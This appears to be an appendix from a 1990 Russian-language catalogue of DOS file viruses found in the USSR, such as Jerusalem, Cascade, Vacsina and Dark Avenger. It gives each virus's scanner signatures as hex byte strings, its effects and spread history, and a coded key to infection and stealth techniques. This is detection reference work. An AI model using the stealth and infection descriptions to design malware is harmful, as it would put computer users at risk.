Rebooter _ _ _ _ _I _FC8BF281C60A00BF0001B90300F3A4 _COMMAND.COM или программы, входящей в _
(перезагрузчик),_ _ _ _ _+ _8BF2B430CD213C007503E9C701 _AUTOEXEC.BAT, происходит зацикливание на _
Time Bomb _ _ _ _ _J _51 ** ** ** FC 8B F2 81 C6 0A 00 BF 00 01 _перезагрузке MS DOS. Один из наиболее ранних_
(часовая мина),_ _ _ _ _T1_*.COM _и распространенных в Европе и СССР вирусов. _
UNESCO(ЮНЕСКО)_ _ _ _ _T2_PATH= _Имеются многочисленные штаммы. Пик эпидемии _
Wiener (Винер)_ _ _ _ _T3_????????COM _в СССР отмечен в начале 1989 года. _
_ _ _ _ _F _AIDSTEST, AV _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
IV-740 _ C-740 _IV _1_ _D _An Ba Cy Dn Ee Ihc Km Li Mn Sc _Многократно заражает программы _
_ _ _ _ _P _0 _по адресу 0000:01CE-0000:03EB, которая через_
_ _ _ _ _T2_є Skagi bebe > є _10 мин.после загрузки выводит на экран сооб-_
_ _ _ _ _T3_ИННННННННННННННННННННННН_ _щение T1-T3 и из-за ошибки зацикливается. _
_ _ _ _ _T4_Fig Tebe ! _Машину приходится перегружать кнопкой RESET _
_ _ _ _ _T5_*.COM _или выключением питания. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-5, _RCE-1206 _TP _3_>_D _An Bh Cy Dn Es Itp-tp Jj K12 Li Se _Болгария: начало 1989. _
Vacsina-5 _ _ _ _ _P _1212 < LenCE < MaxC & FIRST='E9' _EXE-файлы заражаются в два этапа: cначала _
(Вакцина-5), _ _ _ _ _H _21 _увеличиваются на 132 байта, переделываясь _
* Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _из EXE в COM для системы (суффикс EXE не _
(Вакцина) _ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _меняется), а затем заражаясь как COM-файлы. _
_ _ _ _ _C _26A1C5003D7F39750826A0C7003C0573 _Поражаются файлы до 63К. Создает скрытый _
_ _ _ _ _T _VACSINA _файл на диске. _
_ _ _ _ _B _F47A05 _При заражении файла раздается звуковой сиг- _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _нал (BELL). _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-4, _RCE-1212 _TP _3_>_D _An Bmh Cy Dr Es Itp-tp Jj K12 Li Se _Болгария: начало 1989 (В.Бончев); _
Vacsina-4 _ _ _ _ _P _1212 < LenCE < MaxC & FIRST='E9' _СССР: весна 1989 (В.Котик). _
(Вакцина-4), _ _ _ _ _H _21 _Практически идентичен RCE-1805 (TP-5). _
* Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _Произвольно изменяет дату создания файла. _
_ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _Создает скрытый файл на диске _
_ _ _ _ _C _C5003D7F39750826A0C7003C0473328B _При заражении файла раздается звуковой сиг- _
_ _ _ _ _T _VACSINA _нал (BELL). _
_ _ _ _ _B _F47A04 _ _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ Merphy _RCE-1277 _ _3_<_D _An Bam Cy Dn Es Itc-tc Jn K11 Li Seo _CCCP (Киев), июнь 1990, А. Шеховцов _
_ _ _ _ _ _P _1277 _D _An Bn Cy Dn Es Itp-tp Jj K11 Li Se _Болгария: 1988 _
Vacsina-16 _ _ _ _ _P _1339 < LenCE < MaxC _В отличие от TP-5 EXE-файлы заражаются в _
(Вакцина-16), _ _ _ _ _H _21 _один прием, сохраняя идею переделки из EXE_
*$ Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _в COM. В отличие от RCE-1212 и RCE-1206 _
(Вакцина-16), _ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _файлы заражаются вне зависимости от значения_
*$ Vacsina _ _ _ _ _C _26A1C5003D7F39750826A0C7003C1073 _первого байта _
_ _ _ _ _T _VACSINA _ _
_ _ _ _ _B _F47A10 _ _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 1600, _RCE-1600 _Ier_1_<_D _Cy Ihc-tc L1600 Se-eo _СССР (Воронеж): 12.06.90 А.Н.Мартемьянов _
_ Voronezh 2.01 _ _/ВП_ _ _P _1600 _D _An Bav Cy Dn Es Itc Jx K1 Li Mс Se Zbr _ФРГ(Университет Констансы) сентябрь 1988; _
(Каскад,сыпучка), _ _ _ _P _0 < LenC < 63800 _СССР: осень 1988 _
Falling letters_ _ _ _ _H _1C, 21, 28 _Осенью 1980 и 1988 г (Сент,Окт,Нояб.,Дек) _
(Буквопад, _ _ _ _ _I _FA8BECE800005B81EB31012EF6872A01017 _создает оригинальный эффект на CGA,EGA и VGA_
падающие буквы)_ _ _ _ _+ _40F8DB74D01BC820631343124464C75F8 _опадание букв с вышибанием нижестоящих, _
BlackJack _ _ _ _ _M _31 34 31 24 46 4C 77 F8 (* неудачна *) _сопровождаемое шорохом. Создает помехи при _
(Черный Джек), _ _ _ _ _С _0F8DB74D01BC820631343124464C75F8 _работе, поскольку на время опадания букв _
Herbst(laub) _ _ _ _ _J _01 FA 8B EC E8 00 00 5B 81 EB 31 01 2E _блокируется клавиатура. Полидетектор SCAN _
$ 1701 File virus_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _дает много ложных срабатываний. _
Falling tears, _ _ _ _ _ _ _Пик эпидемии в СССР отмечен весной 1989 года_
Autumn leaves _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-24, _RCE-1760 _TP _2_>_D _An Bm By Cy Dn Es Itp-tp Jx K11 Li Se _Болгария: 1988. _
Музыкальная _ _ _ _ _P _256 < LenCE < MaxC _20-секундное звучание мелодии при попытке _
перезагрузка-24_ _ _ _ _H _1,9,21 _выполнить теплый рестарт (СTRL-ALT-DEL), _
*$ Vacsina _ _ _ _ _M _17 26 C5 B5 00 01 83 C7 _после звучания идет нормальная перезагрузка._
_ _ _ _ _B _F47A18 _ _
_ _ _ _ _C _A000CD21B80125BA3505CD21BA65009C _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*$ Dark Avenger _RCE-1800 _DAv_5_>_D _As Bn Cy Dn Es Itc-tp Jn K11 Li Mhm Ser _Болгария, 1989; СССР: сентябрь 1989. _
(Черный _ _ _ _ _P _1774 < LenCE _Уничтожение сектора диска после каждых _
мститель), _ _ _ _ _H _13, 21,27 _16 инсталляций. Вирус заражает файлы _
Eddie (Эдди), _ _ _ _ _M _A1 4F 07 89 07 2E A1 51 _не только при выполнении, но и при чтении _
Diana _ _ _ _ _C1_75088B57085B53CD26585E33C08ED82E штамм 1 _или записи в файл. Поэтому запуск фага, или _
(Диана) _ _ _ _ _С2_7C0226A186002E89877E02B85AA5CD21 штамм 2 _ревизора, не контролирующего наличие вируса _
_ _ _ _ _T1_Eddie lives...somewhere in time! _в памяти приводит (на зараженной машине) _
_ _ _ _ _T2_Diana P. _к заражению всех проверяемых файлов _
_ _ _ _ _T3_This program was written in the city _ _
_ _ _ _ _+ _of Sofia (C) 1988-89 Dark Avenger _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-25, _RCE-1805 _TP _4_>_D _An Bm By Cy Dn Es Itp-tp Jx K11 Li Se _см. TP-24 _
Музыкальная _ _ _ _ _P _256 < LenCE < MaxC _ _
перезагруз- _ _ _ _ _H _1,9,21 _ _
ка-25, _ _ _ _ _M _35 CD 21 8B F3 8C C7 _ _
*$ Vacsina _ _ _ _ _B1_9C FA 2E FF 1E 14 00 C3 _ _
_ _ _ _ _B2_F4 7A 19 _ _
_ _ _ _ _J _E8 00 00 5B 2E 89 87 6D FC 2E FE 87 71 FC _ _
_ _ _ _ _C _2125BAA000CD21B80125BA6205CD21BA _ _
_ _ _ _ _F _TP48CLS, AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Jerusalem _RСE-1813 _Ier_5_>_D _Ad Bvs Cn Dn Ee Ihc-tmp Jn K1m L1808 Se _Израиль(Иерусалим): дек. 1987,Yisrael Radai;_
(Иерусалим), _ _ _ _ _+ _To Zoex _СССР: осень 1988. _
Black Fridaу _ _ _ _ _P _0 < LenCE < +oo _Уменьшение быстродействия, зависание DOS с_
(Черная _ _ _ _ _H _8,21 _сообщением Stack overflow; появление на _
пятница), _ _ _ _ _M _122EC7061F000100505156 штамм B _экране черного квадрата в левом углу. _
Israeli virus _ _ _ _ _M _E9920000000000000000000 штамм B-2 _уничтожение запускаемых программ по пятницам_
(Израильский _ _ _ _ _I _8ED0BC000750B8C50050CBFC062E8C0631 _приходящимся на 13 число. _
вирус), _ _ _ _ _+ _002E8C0639002E8C063D002E8C0641008CC0 _ Один из наиболее распространенных во всем_
Black Hole _ _ _ _ _J _FC B4 E0 CD 21 80 FC E0 73 16 80 FC 03 72 _мире вирусов (включая СССР). Пик эпидемии _
(Черная дыра) _ _ _ _ _T1_sUMsDos _в СССР отмечен весной и летом 1989 г. _
$Friday 13th _ _ _ _ _T2_COMMAND.COM _Имеются многочисленные штаммы. _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Yankee Doodle-2_ E-1961 _ _1_ _D _Xm _Болгария, 1989; СССР: 1990 _
$ Yankee Doodle B_ _ _ _ _H _21 _При успешном заражении файла в текущем ката-_
_ _ _ _ _M _ _логе играется мелодия Yankee Doodle _
_ _ _ _ _C1_370881EE030103F38904BE390881EE03 штамм В1 _ _
_ _ _ _ _С2_E60681EE030103F38904BEE80681EE03 штамм В2 _ _
_ _ _ _ _T _mother fucker _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Anti Bontchev _RCE-02000_DAv_3_<_D _As By Cy Ds Es Itc-tс Jn K11 Li Mlhm Ser _Болгария: начало 1990. _
(АнтиБончев), _ _ _ _ _P _1959 < LenCE _Штамм RCE-1800. Уничтожает сектора _
* V2000, _ _ _ _ _H _ _диска после каждых 16 инсталляций. _
Диана-2 _ _ _ _ _B _E800005E81EE6300FC2EF69489072E81 _При выдаче команд DIR и т.п коррек- _
_ _ _ _ _M _B4 51 E8 39 FD 8E C3 26 8B _тирует длину зараженных файлав (опре- _
_ _ _ _ _C _F71FC40684002E898418082E8C841A08 _деляя их по значению 62 в поле секунд), _
_ _ _ _ _T1_Zopy me - I want to travel _вычитая из нее 2000. _
_ _ _ _ _T2_(c) 1989 by Vesselin Bontchev. _ _
_ _ _ _ _TC_Диана П. _ _
_ _ _ _ _F _AV, -V, AIDSTEST _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-34, _RCE-2568 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmt Se _ см. TP-33 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 22 _ _
_ _ _ _ _C _2125BAF402CD21B80125BAA707CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-33, _RCE-2680 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _При трассировке на зараженной ПЭВМ _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _наблюдается эффект самоизлечения. _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _В 17.00 исполняется мелодия Yankey Doodlе _
_ _ _ _ _B _F4 7A 21 _Dandy _
_ _ _ _ _C _25BA0403CD21B80125BA0D08CD21BAD1 _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-38, _RCE-2756 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _Данная и последующие версии группы _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _TP-вирусов не видны при просмотре _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _списка резидентных программ. Выкусывает ви- _
_ _ _ _ _B _F4 7A 26 _рус RCE-1805 при заражении программ. _
_ _ _ _ _C _2125BA6403CD21B80125BA8A08CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-39, _RCE-2772 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _см. TP-38 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 27 _ _
_ _ _ _ _C _ _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-44, _RCE-2885 _TP _5_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _См. TP-41 _
Самоед-44, _ _ _ _ _P _32 < LenCE _Мелодия Yankey Doodlе Dandy проигрывается _
Five o'clock _ _ _ _ _H _1,3,1C,21 _в 17.00 не каждый раз, а с вероятностью 1/8 _ _
(17 часов), _ _ _ _ _B _F4 7A 2C _ _
*$Yankey Doodlе _ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _J _E8 00 00 5B 81 EB D4 07 2E C6 87 5C 00 FF _ _
_ _ _ _ _C _0125BAF708CD21BA37029C8BC3052C09 _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-45, _RCE-2901 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _см. TP-44 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 2C _ _
_ _ _ _ _C _2125BAC803CD21B80125BAFF08CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-41, _RCE-2932 _TP _4_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _См. TP-39 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 2C _ _
_ _ _ _ _C _0125BAF108CD21BA22029C8BC3052609 _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ 4096 _RCE-04096_St _2_<_D _An Cp Dy Macfl To Zet _Израиль: январь 1990. ОЧЕНЬ ОПАСЕН !!! _
_ 4K, _ _!!!_ _ _DP_6K < LenC _Загружается в старшие адреса,откусывая 6K._
_ 100 Years virus_ _ _ _ _H _s21 _В зараженных файлах к году создания добавле-_
_ Century virus, _ _ _ _ _M1_33 FF B9 D0 07 B8 20 07 F3 AB BE /* ?? */_но 100 (команда DIR показывает две последние_
_ Frodo, _ _ _ _ _M2_FF 76 06 2E 8F 06 B3 12 /* ?? */_цифры) и их длина возрастает на 4K, хотя при_
_ Hiding, _ _ _ _ _M3_F6 2E 8F 06 41 12 2E 8F 06 43 /* ?? */_резидентном вирусе увеличение длины не видно_
_ IDF Virus, _ _ _ _ _B _81FC0001770233E48BE8E80000 _При заражении иногда не обновляет заголовок _
_ Stealth Virus _ _ _ _ _C _FE3A558BEC50817E0400C0730C2EA147 _файла, что вызывает сообщения MS DOS: _
_ _ _ _ _ _ _ _ ERROR in EXE File. _
_ _ _ _ _ _ _Меняет FAT,сращивая файлы (видно по CHKDSK/F_
_ _ _ _ _ _ _С 22 сентября 1990 при запуске любого _
_ _ _ _ _ _ _инфицированного файла компьютер зависает. _
_ _ _ _ _F _ CLEAN v66+ (СП 7-90) _Подробнее вирус описан ниже _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДБДДДДДДДДДБДДДБДБДБДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ПРИЛОЖЕНИЕ 1
КЛАССИФИКАЦИОННАЯ ТАБЛИЦА ФАЙЛОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В CCCР
В приводимой ниже таблице собраны сведения о файловых вирусах, обнаруженных в СССР
по состоянию на 12.09.90. Ниже следуют замечания по ее структуре и организации:
1. В графе Дескрипторы, сигнатуры и фаги для данного вируса подграфа Тип содержит символ D для дескриптора,
символ F для фага, символ M для сигнатуры, используемой полидетектором SCAN (фирма McAfee Associates, США), символ I для
сигнатуры, используемой полидетектором VIRSCAN (фирма IBM), символ B для сигнатур, предлагаемых автором в случаях, когда
M или I сигнатуры неудачны. Cимволом + обозначено продолжение длинных I-сигнатур. Для ТР-вирусов В-сигнатура получена
путем дописывания шестнадцатиричного номера штамма к строке F47A.
2. В дескрипторе файлового вируса отражены следующие свойства:
A - деструктивные действия, выполняемые вирусом:
a (alter) - модификация управляющих блоков файлов
(переименование, внесение изменений в элемент каталога,
или соответствующую цепочку FAT, создание вместо
файла подкаталога и т.д.) или бутсектора;
b (block) - блокирует выполнение запускаемой программы или команды MS DOS;
c (corrupt) - повреждает или искажает файлы данных;
d (delete) - удаляет отдельные загрузочные файлы;
f (format) - выполняет форматирование дисков;
i (ignore) - заменяет операции записи на операции чтения или верификации;
h (hang) - подвешивает систему;
k (kill) - повреждает отдельные загрузочные файлы;
р (parallel port) - искажает информацию передаваемую через параллельный порт;
r (reboot) - вызывает внезапную перезагрузку системы;
s (sector destruction) - уничтожает отдельные сектора диска;
v (video effects) - искажает информацию в видеопамяти;
w (write port) - пишет в порты;
x - создает сбойные сектора;
z (zip) - стирает информацию в файлах или на диске,
а также в управляющих таблицах, например в таблице FAT;
В - проявления вируса;
a (abort) - появление запроса Abort, Retry, Ignore при попытке заразить прог-
рамму, расположенную на защищенной от записи дискете:
n (new files) - создает новые файлы;
m (music) - исполняет мелодию или имеет какой-либо другой звуковой эффект;
v (video effects) - создает визуальный эффект(ы);
t (text message) - выдает на экран текстовые сообщения;
s (slow down) - замедление работы компьютера;
С - механизм заражения командного процессора:
y - заражает файл с именем COMMAND.COM;
n - не заражает файл с именем COMMAND.COM;
о - заражает командный процессор не меняя его длины;
s - заражает командный процессор, независимо от его имени
(например, используя информацию из системной переменной COMSPEC);
D - изменение даты и времени создания файла:
i - изменяет дату на дату заражения;
m - изменяет месяц в дате создания файла;
s - изменяет только значение секунд времени создания файла;
s<целое> - изменяет значение секунд времени создания файла на указанное;
r - изменяет дату и время случайным образом;
n - не изменяет дату и время;
E - способ определения типа файла:
e - (extention) - по расширению;
s - (start of program) по содержимому первых двух байтов
(EXE-файлы начинаются с шестнадцатиричного кода 4D5A т.е.
символов MZ);
I - (type of increment and placement of virus body in infected
program) приращение длины файла при заражении: место и тип имплантации
вируса ( для вирусов типа CE соответствующие пары разделяются черточкой)
первая буква пары - тип имплантации:
o - (overwriting) - перезапись начала файла
f - (first block) - запись в первый блок файла с перемещением оригинального первого блока в конец;
h - (head) - запись тела в начало файла со смещением всей
заражаемой программы в область старших адресов;
m - (middle) - в середину файла;
t - (tail) - в конец файла;
b - (biplacement) - двухсегментное размещение (в голову и хвост)
с перенесением начальных байтов в второй сегмент;
c - (COM-twin) - создание COM-файла с тем же именем, что и
заражаемый EXE-файл;
х - неизвестна;
вторая буква пары - тип приращения:
с - постоянное;
p - (padding) изменяется из-за выравнивания на определенную границу (по умолчанию границу параграфа). Если
выравнивание идет на границу, отличную от кратной 16 указывается соответствующее исловое значение, например
p51 означает выравнивание до величины, кратной 16;
v - меняется случайным образом в определенных пределах;
n - отсутствует;
х - неизвестна;
J - обработка первой команды в СОМ-файлах;
n - не обрабатывает;
j - заражает только те COM-файлы, в которых первой командой является команда JMP;
s - не заражает такие файлы, первой командой которых является команда JMP;
К - кратность заражения файла:
<целое число> - заражает файлы указанное число раз;
m - заражает файлы многократно (для вирусов типа CE первая цифра
указывает кратность заражения COM-файлов, а вторая EXE-файлов);
L - длина тела вируса (байт):
<целое число> - длина равна указанному числу в
байтах;
i - длина равна нормированному или постоянному приращению;
M - действия вируса по маскировке своего присутствия в системе и зараженных файлах:
a - (automodification) - автомодификация инсталлятора с целью
затруднить обнаружение детекторами, основанными на контектном поиске;
с - (cipher) - шифровка части программы, исключая часть инсталлятора;
d - (antiDebugging tricks) - защита от трассировки;
e - (enter point) - сохранение точки входа в EXE-программах;
f - (fag) самоизлечивается при попытке просмотра
зараженной программы при резидентном вирусе;
h - (hook) - не обнаруживается сторожами типа FluShot+,
контролирующими состояние векторов прерывания (обычно 13 и 21);
i - (increment) - имплантация тела в программу без увеличения
размеров файла;
j - (jump) - cохранение первого перехода в COM-файлах;
l - (length) - маскировка увеличения длины зараженных файлов,
путем подмены значения соответствующего поля элемента оглавления при
операциях FindFirst и FindNext (21-11h и 21-12h) с предварительным
вычитанием длины вируса. При этом утилиты, которые не используют
указанные функции DOS, работая с каталогами непосредственно (например
Norton Commander), будут показывать увеличенную длину, а команда DIR -
уменьшенную.
m - (memory map) не обнаруживается системными средствами
просмотра списка резидентных программ;
о - (overlay) сегментация тела вируса на несколько подгружаемых
частей;
р - (polyinfection) заражение как файлов, так и исполняемых
системных блоков (бутсектор, MBR);
r - (redirection) - перехват и модификация дисковых операций с
целью скрыть изменения в исполняемых блоках (бутсектор, MBR);
s - (space) - корректировка резидентным вирусом общего обьема
свободной памяти на диске с целью скрыть его изменение в результате
заражения вирусом программ;
t - (text) шифровка текстовых сообщений;
R - (resident) положение в оперативной памяти, реакция на теплую перезагрузку и размер занимаемой памяти
(только для резидентных вирусов):
a - (available) - в неиспользуемой части оперативной памяти (не создавая MCB и не изменяя
обьема свободной оперативной памяти;
l - (low) в младших адресах, после последней загруженной к этому моменту резидентной программы;
b - (buffer) в буферах MS DOS;
h - (high) в старших адресах без изменения общего обьема оперативной памяти;
u - (upper) в старших адресах памяти с соответствующим уменьшением общего обьема
доступной системе оперативной памяти (по типу бутвируса);
t - (TSR) - вирус создает дополнительный MCB, видный в списке резидентных программ как дополнительная
паразитная резидентная программа;
v - в области видеопамяти (в адресах за первыми 640K т.е больших А000:0000);
w - (survive Warm reboot) выживание при теплой перезагрузке (возможно, в основном, для вирусов
инсталлирующихся по типу u);
<целое> - обьем оперативной памяти, резервируемый вирусом;
S - стратегия заражения:
c - заражает файлы в текущем каталоге;
d - заражает все файлы на текущем диске;
f - заражает файл в каталоге, где находится файл, запускаемый на выполнение;
e - заражает файлы, запускаемые на выполнение (прерывание 21-4Bh MS DOS);
h - инсталлируется в старших адресах памяти, затирая оверлейную часть COMMAND.COM,
а затем заражает его при загрузке;
i - инсталлируется в старшие адреса таблицы векторов прерываний;
l - имеет средства распространения по локальной сети;
m - (main catalog) - заражает файлы в главном каталоге;
n - (new) - заражает файлы при создании
o - заражает любые открываемые файлы с подходящими расширениями;
p - заражает файлы, путь доступа к которым указан в команде PATH;
r - заражает файлы, для которых выполняется чтение;
s - (shell) - при инсталляции ищет и заражает COMMAND.COM;
t - (tree) - просматривает дерево каталогов и заражает по одному случайно выбираемому файлу
в каждом каталоге;
<целое> - количество файлов, заражаемых в один прием;
1x - по одному каждым из упомянутых способов;
1t - по одному в каждом каталоге;
1t - по одному в каждом каталоге;
T - дополнительные расширения заражаемых файлов, помимо указанных в классификационном коде:
a - любое
b - BIN;
o - OVL, OVR;
s - SYS;
Z - побочные проявления действий вируса:
a - (attr) - изменение атрибутов при заражении файла, например a(r) - снятие атрибута READ ONLY;
b - (boot) - при заражении программ, запускаемых в файле
AUTOEXEC.BAT, возможно зацикливание процесса загрузки;
e - появление ошибок типа деления на нуль, переполнения стека и т.п.;
f -(FAT) - искажения FAT
h - (hang) зависания системы
o - нарушение функционирования программ с оверлейной структурой.
Например, возникновение ошибок при загрузке отдельных фаз оверлейной программы;
